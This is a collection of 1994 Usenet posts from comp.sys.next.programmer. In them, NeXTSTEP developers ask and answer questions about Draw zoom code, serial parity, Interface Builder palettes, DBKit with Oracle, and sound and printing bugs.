Newsgroups: comp.sys.next.programmer From: blanford@gemstone.com (Ron Blanford) Subject: Re: Help with Oracle 7 Message-ID: <1994Jun16.045418.9454@venice.sedd.trw.com> Originator: blanford@arkenstone Sender: news@venice.sedd.trw.com (USENET News) Organization: TRW Systems Engineering & Development Division, Carson, CA References: <2to4da$vum@mtecv2.mty.itesm.mx> Date: Thu, 16 Jun 1994 04:54:18 GMT Alfonso Betancourt Guerra writes: > > I had use Oracle 6 with DBKit and it worked all right. But with > Oracle 7 the DBModeler couldn't load the tables previously defined in > the database. Oracle 7 has reorganized some of the system tables the DBModeler uses for generating the model. To enable backward compatibility you need to run the Catalog6.sql script as sys. -- Ron
Newsgroups: comp.sys.next.programmer From: sascha@anarch.do.open.de (Sascha Gresk) Subject: Thread sets TextField's StringValue: confused Focus ? Message-ID: <1994Jun19.182941.9036@anarch.ping.de> Sender: usenet@anarch.ping.de (The Usenet) Organization: LogikFabrik/WiLa Dortmund Date: Sun, 19 Jun 1994 18:29:41 GMT Hi there ! Here is my thread which does some processing of a File and reports the current line in a TextField. When I update other objects in the window while the thread is running I ' ll get a "Assertion failed: Unlocking Focus on wrong View" and some nasty output at the wrong place... ThanX, Sascha int planner(SynControl *obj) { while(!stopped &&thereisalinetoprint) { gettheline(&line); if ([obj->statusPlan canDraw]) { [obj->myTextField lockFocus]; [obj->myTextField setStringValue: line]; [obj->myTextField unlockFocus]; } } return 0; } makePlan_thread = cthread_fork((cthread_fn_t)planner, self);
From: starksm@genesis.mcs.com (Scott M. Stark) Newsgroups: comp.sys.next.programmer,comp.sys.next.software Subject: Archie update Date: 16 Jun 1994 07:15:58 GMT Organization: MCSNet Services Distribution: world Message-ID: <2tou7e$kdm@News1.mcs.com> Keywords: Archie Archie version 2.14, June 16 1994 -rw-rw-r-- 1 me 492403 Jun 16 01:49 Archie_214.tar.gz sum Archie_214.tar.gz -> 46839 481 Location: cs.orst.edu Path: pub/next/submissions or pub/next/binaries/wide-area-info Enhancements: 1. The FTP serverices items now parse the following formats: hostname hostname:path ftp://ftpHostname/path Leading and trailing white space characters are removed. 2. Added FTP transfer completion sound and the ability to set the sounds from the general preferences panel. Bug fixes: 1. Setting the Archie server timeout now works. 2. Raw FTP log panel of ftpd responses can now be displayed at any time after any FTP action. -- Scott Stark Stark International Software 4950 N. Marine Dr. #102 Chicago, IL 60640 starksm@genesis.mcs.com (NeXT mail accepted)
Newsgroups: comp.sys.next.programmer From: freeband@netcom.com (Nick Porcaro) Subject: Alternatives to MallocDebug ? Message-ID: <freebandCrHF92.yv@netcom.com> Keywords: malloc debug memory NeXTSTEP Organization: NETCOM On-line Communication Services (408 261-4700 guest) Date: Thu, 16 Jun 1994 08:51:02 GMT Has anyone out there used memory debug tools other than MallocDebug? I have an irritating bug that causes gdb to die with a segmentation fault after I have closed my app. I suspect my app is stepping on memory somewhere. I tried linking with libMallocDebug.a and calling malloc_debug(16), and then the problem went away. I used to use purify on Suns for problems like this, I wish there was something similar for NeXT - Nick
From: Uwe Hoffmann Newsgroups: comp.sys.next.programmer Subject: IXKit mailing list Date: 16 Jun 1994 10:30:51 GMT Organization: Forschungszentrum Informatik (FZI), Karlsruhe, Germany Message-ID: <2tp9kr$dl8@gate.fzi.de> Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Is the Indexing Kit mailing list still alive ? I don't get any replys, can't subscribe etc... Please email if this one is obvious. Thanks -- uwe....................................hoffmann@fzi.de (nextmail ok)
Newsgroups: comp.sys.next.programmer From: fozztexx@nvc.cc.ca.us (Chris Osborn) Subject: What reads/writes all those .table files? Message-ID: <Crnso6.43y@nvc.cc.ca.us> Sender: news@nvc.cc.ca.us Organization: Napa Valley College Date: Sun, 19 Jun 1994 19:26:30 GMT What class does NeXT use to read/write all those .table files? I'd like to be able to read/write them too (specifically the AddressBook.table files). Which brings up another question, how do I communicate with Workspace Manager to access the AddressBooks? From screwing around with Workspace and the Fax panel, it appears that only Workspace reads/writes the files, and that the Fax panel communicates directly with Workspace. -- Chris Osborn, Network Administrator Voice: 707 253 3130 Napa Valley College Fax: 707 253 3063 2277 Napa-Vallejo Hwy., Napa, CA, 94558 <fozztexx@nvc.cc.ca.us> MIME ok, NeXTMail tolerated
Newsgroups: comp.sys.next.programmer From: henry@trilithon.com (Henry McGilton) Subject: Zoom In Draw [Long Discussion With Code] Message-ID: <1994Jun16.020540.11290@trilithon.com> Sender: henry@trilithon.com Organization: Trilithon Software References: <2tgn6v$gug@argo.unm.edu> Date: Thu, 16 Jun 1994 02:05:40 GMT In article <2tgn6v$gug@argo.unm.edu> klingler@unm.edu (Dave "CIRT Boy" Klingler) writes: * >Has anyone ever tried to implement a zoom feature in Draw? * > * >I looked at the GraphPaper example and tried applying * >that idea, but since Draw does not use the View hierarchy * >(all drawing is done in one view), it gets a little tricky. * > * >Any help would be greatly appreciated --- * > * > * > - Nick * * I'd be happy to get the same information. We have to do an app that lets a * motorcycle dealer zoom in on a part in an exploded drawing. It'd be something * like half-zoom/half-hypertext. * * Dave Somebody out there was asking about zoom in Draw. I've used some of the Draw code as a basis for something I was doing, but in the process added a lot of new stuff, moved more stuff around, shredded a lot of Draw code, and fixed a few bugs. So the discussion which follows is in general terms, because I haven't applied these code changes to Draw itself, but in code I adapted. First, a few minor bugs and their fixes. ===================================================================== In the draw wraps, the code for drawing framed ovals is wrong. If you use the code as provided, line widths don't scale when you zoom. Here's the current Draw code: defineps PSFramedOval(float x, y, w, h) w h x y oval matrix defaultmatrix setmatrix stroke endps The playing with the matrix avoids the line width being scaled. However, this doesn't work if you add a zoom capability. The line width doesn't zoom. Not only that, but doing defaultmatrix is a no-no for conforming EPS files. You need to do it like this: defineps PSFramedOval(float x, y, w, h) matrix currentmatrix w h x y oval setmatrix stroke endps ===================================================================== Another minor one. In GraphicView.m, there's a function called createEditView. The line which reads: view = [[View allocFromZone:[self zone]] initFrame:&(self->frame)]; makes the assumption that the GraphicView has its origin at (0, 0). When this assumption is not true, that is, I have GraphicViews at origins other than (0, 0), you need to change that line to read: view = [[View allocFromZone:[self zone]] initFrame:&(self->bounds)]; which is the correct way to do it anyway. ===================================================================== Draw has this odd little selection buglet. If you place a graphic very close to the lower left corner of the graphic view, you can click anywhere on the graphic view, far away from the graphic, and the graphic will insist it's selected. The problem occurs in the -dragSelect: method in GraphicView. The region is never initialised correctly. If you just click on the graphic view, the region comes out as something close to all zeros -- it is all zero to all intents and purposes. So you have this region rect which looks like 0, 0, 0, 0. The *extended bounds* of the graphic may well poke through into negative coordinates. So NXIntersectRect reports an intersection. I fixed this buglet in -dragSelect: by inserting the line getRegion(®ion, &start, &last); right after the line which reads last = start; ===================================================================== A serious crash problem occurs with this sequence: o create ONE graphic o make sure graphic is selected [usually is after create] o copy o paste o undo o paste o CRASH the -pasteFromPasteboard: andLink: at: method sets up an undo structure, into which the pasted graphic is recorded. The -paste: method in gvPasteboard.m records the id's of the pasted graphic in static variables called originalPaste and secondPaste. All Cool so far The undo removes the pasted graphic from the list of graphics. All Cool so far The second invocation of -pasteFromPasteboard: andLink: at: method sets up an undo structure, into which the pasted graphic is recorded, but now the endChange method of this second call to the change manager frees the graphic which was recorded in the first invocation. The -paste: method now tries to use the graphic whose ID is recorded in the static variable secondPaste. But that graphic just got freed. CRASH. I created what is possibly a Gross Hack fix to the problem. I created a new method in GraphicView called decrementPasteCount. It gets called from PasteGraphicsChange.m when you undo a paste. ===================================================================== Now, on to doing zoom in Draw. Before I get into it, I discovered all this stuff by error, and error, and trial, and more error. I may have gone completely off the deep end with respect to the way I implemented this stuff. But I've spoken with several NEXTSTEP experts on these issues, and I haven't yet heard a dissenting voice. Course, just like the old Gin and Tonic Jungle Survival Kit, I fully expect a couple of dozen wizards to come out of the woodwork now and tell me I did it All Wrong. However, per ardua ad NEXTSTEP, or something. The correct place [in my opinion] to put the zoom controls is in the big ScollView [SyncScrollView] which contains the drawing view, and in DrawDocument. You need to add a zoom popup or some other control to the SyncScrollView, to set the zoom percentage or magnification factor or whatever it is. I don't go into the mechanics of how to place a zoom popup into the horizontal scrollbar -- I assume everybody knows how to do that. The work is done inside the -tile method of SyncScrollView, which you must override to place the zoom popup. The zoom popup is connected to a -zoom method in the Document. The document has an instance variable called currentScale, and its zoom method looks roughly like this: - zoom:sender { float factor = [[sender selectedCell] tag] / 100.0; if (factor != currentScale) { [self setLocalScale:factor]; [dataHolder doScale:(factor / currentScale)]; currentScale = factor; } return self; } In this code, dataHolder is the SyncScrollView that you have in Draw. -setLocalScale does a bunch of work relative to various caches, and most important, the GraphicView. The important thing is that -setLocalScale calls -setScaleFactor in GraphicView, and this is discussed later. First, what does -doScale do over in the SyncScrollView? It looks roughly like this: - doScale:(float)factor { [[[self docView] superview] scale:factor :factor]; [self display]; return self; } The [[self docView] superview] bit is how I get hold of the clipview of the scrollview, since it's the clipview you want to scale. If you scale the scrollview, you get everything scaled, including the scrollbars and the popups. This is all you need to do at this level -- the scaling propagates all the way down to all the subviews of the clipview. That's the rough layout of zoom in terms of the ScrollView and the Document. Now, what about the GraphicView and all its graphics? Even though views live in superviews and so on, and in theory a view doesn't need to know it's scaled, in reality, any operation which involves compositing needs to know it's scaled. So this affects moving, resizing, and anything to do with TIFF or EPS images. So, add a scaleFactor instance variable to Graphic. In my implementation, the document doesn't keep track of the zoom level from one invocation to the next, so I don't have to archive anything do do with zooming. Every time you open a document, it comes back up at unit zoom factor. In Graphic's -init method, add a line to initialise the scale factor to 1.0. Add a -zoom method to Graphic: - zoom:(float)factor { scaleFactor = factor; return self; } You have to override this method in the Image code, something like this: - zoom:(float)factor { NXSize imageSize; scaleFactor = factor; [image recache]; [image setScalable:YES]; [image getSize:&imageSize]; imageSize.width *= factor; imageSize.height *= factor; [image setSize:&imageSize]; return self; } In GraphicView, I added a scaleFactor instance variable. Once again, this is never archived. In GraphicView's -initFrame: method, initialise scaleFactor to 1.0. In GraphicView, I added a -setScaleFactor method, something like this: - setScaleFactor:(float)factor { List *graphics; int graphicsIndex; scaleFactor = factor; [self renewGState]; graphics = graphicsList; graphicsIndex = [graphics count]; while (graphicsIndex--) { id graphic = [graphics objectAt:graphicsIndex]; [graphic zoom:scaleFactor]; } return self; } This method iterates through the graphics list and tells all the graphics to zoom themselves. The only graphics who worry about zoom are images. Then, ANYWHERE you composite, you have to know you're zoomed, or you're doomed! Any compositing code inside GraphicView had to be changed like this: PScomposite(NX_X(&rects[0]) * scaleFactor, NX_Y(&rects[0]) * scaleFactor, NX_WIDTH(&rects[0]) * scaleFactor, NX_HEIGHT(&rects[0]) * scaleFactor, [localCacheWindow gState], NX_X(&rects[0]), NX_Y(&rects[0]), NX_SOVER); When you zoom, any backing caches have to be resized, scaled, and re-initialised, something along these lines: - zoomCaches:(Window *)aCache by:(float)factor { NXRect cacheRect; [aCache getFrame:&cacheRect]; [aCache sizeWindow:NX_WIDTH(&cacheRect) * factor :NX_HEIGHT(&cacheRect) * factor]; [[aCache contentView] sizeTo:NX_WIDTH(&cacheRect) * factor :NX_HEIGHT(&cacheRect) * factor]; [[aCache contentView] scale:factor :factor]; [aCache getFrame:&cacheRect]; [[aCache contentView] renewGState]; [[aCache contentView] lockFocus]; PSsetgray(NX_WHITE); NXRectFill(&cacheRect); [[aCache contentView] unlockFocus]; [aCache reenableDisplay]; return self; } Finally, remember to zoom any graphic that's dragged or pasted, to ensure its scale factor gets set properly. That's All Folks! ........ Henry
Newsgroups: comp.sys.next.software,comp.sys.next.programmer,comp.os.mach,comp.unix.msdos,comp.soft-sys.nextstep From: cleelacj@agedwards.com (Chris Cleeland) Subject: Re: Unix/DOS Serial I/O Message-ID: <CrHvKD.K7E@agedwards.com> Date: Thu, 16 Jun 1994 14:43:25 GMT References: <1994Jun15.150334.23322@bilver.oau.org> Organization: A. G. Edwards & Sons, Inc. Followup-To: comp.sys.next.software,comp.sys.next.programmer,comp.os.mach,comp.unix.msdos,comp.soft-sys.nextstep Bill Vermillion (bill@bilver.oau.org) wrote: : In article <Cr8M6n.4yE@csn.org>, Barry D. McQuain <mcquain@teal.csn.org> wrote: : >I am having a problem sending data from a NeXT computer to a PC via a serial : >cable. Using C, the app on the NeXT sends the data out its serial port : >(9600, n, 8, 1 - defaults) and the PC recieves it. Unfortunately, the : >high order bit gets "set" somehow on some of the data, and the PC is having : >trouble receiving this "non-ascii" (>128) data. : > : >For example, If I send the letter "A" (ASCII 65), the PC receives "A" (ASCII : >65). If I send the letter "C" (ASCII 67), the PC receives ASCII 195. This : >happens on commas and carriage returns (13 becomes 141), etc. Unfortunately, : >The PC program that is trying to receive this data is written in Basic, and : >it reads in the data using INPUT commands, and since it never sees a comma : >or a carriage return, it hangs. : > : >I am looking for a solution. The few suggestions so far have been: : > : >1) Send data using 7 bits. How do I do this from the NeXT side (using C). : >2) ASCII mask the data as you send it ... This hasn't worked so far. Does : > anyone know how to "fiddle" with the C to do this? (ioctl.h maybe?) : >3) Rewrite the Basic in C. Can't, becasue its not my program and it is : > about 4000 lines. : > : Somewhere along the line one machine or the other is using : parity where it shouldn't be. : A = 65 = 0100 0001 : C = 67 = 0100 0011 : C with high bit = 195 = 1100 0011 : Sounds like you are transmitting as even parity, so that a parity : bit is added to make the number of 1's transmitted come out to : an even number : Mask it on the receive side. [...] : Your PC comm program should be able to handle this. Tell it to : ignore parity. If your program doesn't do this, there are : others that do. Except that ignoring parity on the receive side doesn't do anything to get you the original character. Parity is added at the send side, and only checked at the receive side. Old, crude, error detection mechanism. To turn off parity generation on the NeXT side, a piece of code similar to the following should work. For more info, consult tty(4). #import <sgtty.h> int turn_off_parity_generation(int fd) { struct sgttyb ts; if (fd > 0) { if (ioctl(fd, TIOCGETP, &ts) == -1) return -1; ts.sg_flags &= ~(EVENP | ODDP); if (ioctl(fd, TIOCSETP, &ts) == -1) return -1; return 0; } return -1; } You may also wish to investigate the RAW mode if you have to receive characters back on the NeXT end. -cj -- ============================================================================== Chris Cleeland | NeXTMail: chris@milo.st-louis.mo.us BOS Dev. Team | MIMEMail: cleeland@agedwards.com | BellNet: (314) 289-5372
Newsgroups: comp.sys.next.programmer From: cleelacj@agedwards.com (Chris Cleeland) Subject: Re: Stupid editor!! help Message-ID: <CrHvMq.K8v@agedwards.com> Date: Thu, 16 Jun 1994 14:44:49 GMT References: <1994Jun15.125653.21533@cc.usu.edu> Organization: A. G. Edwards & Sons, Inc. mike emmel (mike@hobbs.chem.usu.edu) wrote: : is there anybody that has a sriptfile or c program to add the : line returns or is there a trick to make ed do it. man 1 fold -cj -- ============================================================================== Chris Cleeland | NeXTMail: chris@milo.st-louis.mo.us BOS Dev. Team | MIMEMail: cleeland@agedwards.com | BellNet: (314) 289-5372
From: chris@iastate.edu (Chris Wong) Newsgroups: comp.sys.next.programmer Subject: Matrix class handle Right Mouse click? Date: 19 Jun 1994 21:46:36 GMT Organization: Iowa State University, Ames, Iowa (USA) Message-ID: <2u2ebs$4t3@news.iastate.edu> Sorry if this is a easy question. I'm new to OOP. How can I make Matrix class send an action to a target when the right button of my mouse is clicked? Thanks for any help. Chris -- NeXTMail super welcomed!!| Chris Wong | "Hardware is supposed to serve Software." chris@iastate.edu | Computer Engineering & Computer Science <:)>:)<:)>:)<:)>:)<:) | Iowa State University of Science and Technology
Newsgroups: comp.sys.next.programmer Organization: Antigone Press gateway, San Francisco Return-Path: <0005508785@mcimail.com> Date: Tue, 14 Jun 94 14:55 EST From: "ErgoTech Development, Inc." <0005508785@mcimail.com> Subject: Re: Does NeXT have stricmp? Message-ID: <40940614195504/0005508785NA5EM@mcimail.com> So if I'm using non-Roman character sets NXOrderStrings takes care of most of the strcmp functions, and NXCopyStringBuffer(FromZone) I assume takes care of strcpy to a malloc'ed string. What about the rest of the string functions, strcat, strcpy to an existing array, sprintf/printf etc. Jim Redman
Newsgroups: comp.sys.next.programmer From: jeff@charlie (Jeff Vega) Subject: RPC & C++ Message-ID: <1994Jun16.201019.16157@cs.uno.edu> Sender: news@cs.uno.edu Organization: University of New Orleans Date: Thu, 16 Jun 1994 20:10:19 GMT I'm looking for some mechanism for remote procedure calls that supports C++ structures. I know of the "RPCGEN.NEW" compiler, but have only found a version for SunOS 4.1.x. I'm using NeXTStep 3.2 with Mach, which doesn't have include or library files necessary to compile the source for that version of RPCGEN. Is there some vendored or freeware RPC software available for NS that supports C++? Is there somewhere more specific I can ask? Thanks in advance for any help! -- Jeff
From: "Jeremy G. Mereness" <zonker+@CMU.EDU> Newsgroups: comp.sys.next.programmer Subject: MORE- NeXT PostScript Printer Bug? Date: Thu, 16 Jun 1994 18:43:37 -0400 Organization: Graduate School of Industrial Administr., Carnegie Mellon, Pittsburgh, PA Message-ID: <wi0BKNu00iMSF1ZVlR@andrew.cmu.edu> References: <4hzs4ne00iM8E=NFYx@andrew.cmu.edu> In-Reply-To: <4hzs4ne00iM8E=NFYx@andrew.cmu.edu> In addition to what I posted earlier about this file, it can also make workspace manager crash! Previewing this file under NeXTStep 3.2 for motorola, 32 meg color turbo, the first page comes out fine. But once it gets to the graphic on the second page, it spins the wait-pointer, and then logs me out to the login screen. I've never seen anything like it! original message follows... Excerpts from netnews.comp.sys.next.programmer: 15-Jun-94 NeXT PostScript Printer Bug? "Jeremy G. Mereness"@CMU (1408) > I am having trouble printing a file on my NeXT printer... black hardware. > It's a postscript file generated on a networked MS-Windows machine. I have > routines that strip the file of all Windows funny stuff, like ^M and ^D's > where there shouldn't be any. But after half a page gets printed, I get... > Offending Command = unpack > Error = nametype : undefined > this name is not defined in the dictionary > Stack = > followed by page after page of similar messages (one per page). > "unpack", it would appear, is very much defined in the header of the file. > It defines a small graphic. > But what really makes me wonder is that ghostview thinks the file is just > fine. It displays perfectly. But if I send the same file to my NeXT printer, > it barfs. I am running under NeXTStep for Motorola 3.2. > I'd appreciate any help or leads. This bug wastes a whole lot of paper. > ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ > |Jeremy Mereness zonker+@cmu.edu | Support \ Ye Olde Disclaimer: | > |Programmer/Analyst, FAST Laboratory| Free \ The above represents | > |GSIA - Carnegie Mellon University | Software \ my opinions, alone.| > |B.S.Mechanical Engineering, CMU'92 | NeXTMail Welcome\ Ya Gotta Love It.| > | Every Silver Lining's Got a Touch of Grey | > ----------------------------------------------------------------------------
From: bizarre@clients-r-us.tamu.edu (Tom Swanner III) Newsgroups: comp.sys.next.programmer Subject: Problems with DBImageView Date: 16 Jun 1994 22:56:40 GMT Organization: Texas A&M University, College Station, TX Message-ID: <2tqlb8$f9p@news.tamu.edu> I am using a DBImageView with the oracle adaptor on NS v.3.1. When I drag an image into the view and try to saveChanges in the DBModule, I always get a nasty message saying "Maximum field size (64k) exceeded for column image". This occurs every time no matter how small the image is. Am I doing something wrong? Is there some other thing I must do? Any help will be appreciated. Thanks! Tom Swanner III bizarre@clients-r-us.tamu.edu
Newsgroups: comp.sys.next.programmer From: Atze (Alexander Spohr) Subject: Re: Subclassing and IB -- Mutually exclusive? Message-ID: <1994Jun20.152210.2964@dart.de> Sender: aspohr@dart.de Organization: d'ART Software GmbH References: <CrJA1t.Cxt@news.informatik.uni-stuttgart.de> Date: Mon, 20 Jun 94 15:22:10 GMT In article <CrJA1t.Cxt@news.informatik.uni-stuttgart.de> brouwer@minnie.informatik.uni-stuttgart.de (Klaus Brouwer) writes: > > What if have an NXBrowser for example and just want to overwrite one method, > say keyDown:? I'm not adding any instance Variables or anything like this, so > why can't I use the NXBrowser inspector? Even if I would have added instance > variables I think there is no reason for loosing all IB support in setting > NXBrowser attributes and switch over to an uni-color CustomView and no > inspector. Let's clear the difference between a palettized object and a CustomView. If you have a palettized object in your nib it is a REAL instance, with all methods and instance-vars. So you can use an inspector to change the attributes. Because it IS an object and did alredy get it's alloc and init messages. If you use a CustomView there is no object but a placeholder (this is true for all objects which are just parsed). The real object will be created for you in the loadNibXXX method. Views will be sent initFrame: objects get init. There just is no space in IB where you could store something like setEnabled:YES. So if you don't have an object you can not inspect it :-). Try this by defining a CustomView as a subclass of View but not linking the .o file to you app. If you load this nib loadNibXXX will establish a normal View, not your subclass. This only works because this object is created at runtime. If you try this with a real (palettized) object you get a runtime error (class xxx not linked into app) > >All that being said, it _would_ be nice if IB let you do things like group > >in a custom view... > > Oh, yes! > Yap! -- Alexander Spohr, Hamburg, Germany Alexander_Spohr@DART.de (Mail ) Faces and faces (+49) 40 / 380 23-0 (Sound) See them and complain not (+49) 40 / 380 23-290 (Fax ) And am content with all
Newsgroups: comp.sys.next.programmer From: Atze (Alexander Spohr) Subject: Re: [?] Project Builder with C++ Message-ID: <1994Jun20.152624.3019@dart.de> Sender: aspohr@dart.de Organization: d'ART Software GmbH References: <2tv7d3$pdf@umd5.umd.edu> Date: Mon, 20 Jun 94 15:26:24 GMT In article <2tv7d3$pdf@umd5.umd.edu> rprice@reunion.umd.edu (Rodney Price) writes: > > I've been writing C++ code on my NeXT (NS 3.2) for a while, using > just Edit.app and make files run from the command line, since my > codes are small and I usually only run them a few times before I'm > done with them. Most often I debug them on my NeXT, then ship them > over to our HP 735 running HP-UX for the production runs. > > I'd like to use Project Builder, since my projects are getting > slightly larger and I have .h and .cc files scattered all over > creation. In looking over the documentation for Project Builder, > however, I get the impression that it always produces an app, > which runs when you double-click its icon. I need to make > executables that run from the command line. I should then be able > to compile the finished source under HP-UX (with, perhaps, some > modifications to the makefile). Is it possible to persuade Project > Builder to do this? > Just use New and switch to Tool instead of Application in the New Project panel. However subprojects are not supported for tools :-( Atze -- Alexander Spohr, Hamburg, Germany Alexander_Spohr@DART.de (Mail ) Faces and faces (+49) 40 / 380 23-0 (Sound) See them and complain not (+49) 40 / 380 23-290 (Fax ) And am content with all
Newsgroups: comp.sys.next.programmer From: jeff@charlie (Jeff Vega) Subject: RPC & C++ Message-ID: <1994Jun20.154937.29826@cs.uno.edu> Sender: news@cs.uno.edu Organization: University of New Orleans Date: Mon, 20 Jun 1994 15:49:37 GMT Chris, I got RPCGEN.NEW from ftp.uu.net /networking/rpc/tirpcsrc.tar.Z This address was listed in the O'Reilly & Associates Book _Power_Programming_with_RPC_ That archive contains the source code for the SunOS version of RPCGEN.NEW Thanks for your response and good luck! -- Jeff P.S. I can receive NeXT mail. My address is: jeff@smobject.com
Newsgroups: comp.sys.next.programmer From: petev@lespaul.Princeton.EDU () Subject: Mouse/focus Message-ID: <1994Jun16.162328.28254@Princeton.EDU> Originator: news@nimaster Sender: news@Princeton.EDU (USENET News System) Organization: Princeton University Date: Thu, 16 Jun 1994 16:23:28 GMT How do I set my mouse so that in an application with multiple windows, when I move my mouse from one window to another, the new window becomes key without my having to click in the window, as in X. Thanks in advance petev@silvertone.princeton.edu please reply by email
From: hbott@esu.edu (Howard B Ott) Newsgroups: comp.sys.next.programmer Subject: sybase pubs database? Date: 17 Jun 1994 03:50:42 GMT Organization: East Stroudsburg University, Pennsylvania Message-ID: <2tr6ii$lu4@jake.esu.edu> Could some one please mail me the pubs (version 1, not pubs2) database create for sybase? Or direct me to an ftp site? Thanks in advance, -- Berk Ott No NeXT mail please.
From: Ralph_Zazula@next.com (Ralph Zazula) Newsgroups: comp.sys.next.programmer Subject: Re: +new vs. +alloc -init Date: 17 Jun 1994 05:20:49 GMT Organization: NeXT, Inc. Distribution: world Message-ID: <2trbrh$3us@rosie.next.com> References: <2tf96e$gfh@senator-bedfellow.MIT.EDU> Eric M Hermanson writes > > @implementation NuclearPowerSystem > > + create > { > static NuclearPowerSystem *instance = nil; > > /* Assure only one instance of the nuclear power system */ > > if (instance == nil) { > instance = [[self alloc] init]; > instance->reactorCore = > [[NuclearReactorCore alloc] initWithPowerSystem:instance]; > } > > return instance; > } > > ..... > > > Eric > Question: What happens with this code: ----------------------------------------- #import "NuclearPowerSystem.h" @interface MyNuclearPowerSystem : NuclearPowerSystem @end @implementation MyNuclearPowerSystem @end void main() { id np = [NuclearPowerSystem new]; id mnp = [MyNuclearPowerSystem new]; } ------------------------------------------ How do you "fix" it? Ralph -- Ralph Zazula Developer Trainer NeXT, Inc. Ralph_Zazula@next.com (415) 780-2893
From: scheurer@lithnext.epfl.ch (Marco Scheurer) Newsgroups: comp.sys.next.programmer Subject: Undo... Date: 17 Jun 1994 07:49:19 GMT Organization: Ecole Polytechnique Federale de Lausanne Message-ID: <2trkhv$h87@disuns2.epfl.ch> Hello NEXTSTEP programmers I just saw one the finest Objective-C line of code: [[undoManager setUndoTarget:self] setRadius:radius]; Check it out: it's in a new NeXTAnswers MiniExample, called UndoManager. Now, how do you do this in C++? --- Marco Scheurer (scheurer@lithnext.epfl.ch, NeXTMail) Laboratoire d'Informatique Theorique Ecole Polytechnique Federale de Lausanne (Switzerland) (+41) 21 693-2589
Newsgroups: comp.sys.next.programmer From: volker@abulafia.in-berlin.de (Volker Safran) Subject: Re: NeXTmail format? Message-ID: <1994Jun17.065036.6186@abulafia.in-berlin.de> Sender: volker@abulafia.in-berlin.de Organization: Volker Safran, Interprint, Berlin, Germany References: <2tqdu1$l02@mailer.fsu.edu> Date: Fri, 17 Jun 1994 06:50:36 GMT In article <2tqdu1$l02@mailer.fsu.edu> dekorte@ibm19.scri.fsu.edu (Stephen L. DeKorte) writes: > Anyone know where I can find some docs on NeXTmail format? > Is it just the 'attach' header with uuencoded body? > I just need to be able to send a sound file via NeXTmail > - prefferably from the command line with something like: > > NeXTmail me@here -f mysound.snd > > Thanks for any info, > Steve Dekorte > It is a little more complicated. But there is a program on the archives, that will do the job, called tnextmail1.0.tar.gz. CIAO Volker -- ************************************************************ * Volker Safran, FB13, TU Berlin, PHONE: +49 30 4542303 * * EMail: FAX: +49 30 4537157 * * volker@abulafia.in-berlin.de (NeXTMail very welcome)* * safran@fb3-s7.math.TU-Berlin.DE (no NeXTMail, sorry) * ************************************************************
From: marit@pz-oekosys.uni-kiel.d400.de Newsgroups: comp.sys.next.programmer Subject: Gray box title Date: Fri, 17 Jun 1994 10:09:25 Organization: Ecosystem Research Centre Message-ID: <marit.364.000A288A@pz-oekosys.uni-kiel.d400.de> With the interface builder I created two boxes in a panel. Now I want to switch the box title color from black to gray to show the user that the content of the box is disabled. NEXTSTEP tells me that the title cell is no TextFieldCell, so I cannot easily change the font color. I am able to set [[ myBox cell ] setEnabled: NO ]; but that doesn't influence the text color. Does anybody know an easy solution for my problem? Perhaps it is also possible to change the color of the box frame?? Marit -- marit@pz-oekosys.uni-kiel.d400.de Marit Hansen Projektzentrum Oekosystemforschung Schauenburger Str. 112 D-24118 Kiel
Newsgroups: comp.sys.next.programmer From: brouwer@minnie.informatik.uni-stuttgart.de (Klaus Brouwer) Subject: Re: Subclassing and IB -- Mutually exclusive? Message-ID: <CrJA1t.Cxt@news.informatik.uni-stuttgart.de> Sender: news@informatik.uni-stuttgart.de Organization: Informatik, Uni Stuttgart, Germany References: <2tko9m$46s@tribune.usask.ca> <2tnf8r$24c@ftp-p.mccaw.com> Date: Fri, 17 Jun 1994 08:53:53 GMT In <2tnf8r$24c@ftp-p.mccaw.com> gtitus@moses.nwest.mccaw.com (Greg Titus) writes: >In article <2tko9m$46s@tribune.usask.ca> eric@pisces (Eric Norum) writes: >[premises removed] > >> Am I missing something fundamental here? It seems that many of the >> advantages of OOP are gone when using IB. Or am I just trying to use >> the available tools the wrong way? Do I have to go through all the >> effort of creating a new palette every time I want to make a little >> change to a class? >The short answer is: Yes, you are using IB the wrong way, because you >should create a palette. If you want your classes functionality to be >available within IB, you need to make a palette for that class. This makes >perfect sense - how is IB supposed to know what your class does if you >don't have a bundle with executable code it can load to find out? It is >not at all difficult to make a palette. Given the code for whatever class >you want to palettize, you can whip up a palette basically as long as it >takes to create the project in PB. What if have an NXBrowser for example and just want to overwrite one method, say keyDown:? I'm not adding any instance Variables or anything like this, so why can't I use the NXBrowser inspector? Even if I would have added instance variables I think there is no reason for loosing all IB support in setting NXBrowser attributes and switch over to an uni-color CustomView and no inspector. I made a View subclass that can display a background picture and tried to make drag&drop of some image to the view possible - well, I tried. The build-in palettes are specially integreted in IB, the custom palettes use a completely different mechanism with lesser abilities. This is the greatest flaw of IB: asymmetry. Look at the Preferences.app: all NeXT-provieded Modules use just the public API; this guarantees that the API is powerfull enough to do every- thing NeXT can do and this is what I want for IB. >All that being said, it _would_ be nice if IB let you do things like group >in a custom view... Oh, yes! > --Greg Klaus Brouwer
From: albert@proffa.cc.tut.fi (Ojala Pasi) Newsgroups: comp.sys.next.programmer Subject: Sound object nukes the end of a sound Date: 16 Jun 1994 12:21:09 +0300 Organization: Tampere University of Technology Distribution: inet Message-ID: <2tp5i5$ce8@proffa.cc.tut.fi> This is a forwarded message from: Juha Tuominen I'm developing a mission critical application which is suppose to handle thousands of sounds one at the time. The sounds are identified with a short description shown in a browser and when user clicks "Modify" another window opens and the sound is shown in a SoundView and it can be edited, played, recorded etc. This works fine. When user clicks OK my app saves the sound in the SoundView using writeSoundFile: method. In most cases, this works fine, too, but if the sound is loaded from a file using initFromSoundfile: method the end of a sound is SOMETIMES lost. 8 kB block of the beginning is fine, but after that there's nothing. The length of the file is original, but the data is empty. The sound object is freed every time it's not necessary to keep in memory (actually every time after it's saved) and whenever it's needed again, it's allocated and initialized using initFromSoundfile: or plain init: (depending on if there's a sound on the disk). What might cause the loss of the end of a sound? In the SoundView the sound is just fine, it's played and edited correctly, but when it is saved the end disappears - sometimes (I haven't figured out the logic when it's saved correctly and when not. Usually if the sound is loaded rather than recorded, the save operation misplaces the end of the sound. However, no error messages are returned). Any help/ideas/"I think it might be..." appreciated. Another questions about sounds. I saved 100 bytes beginning of the sound data (data:) to a file and compared that file with the original .snd file and tried to find the beginning of the data block, but nothing like that was there. 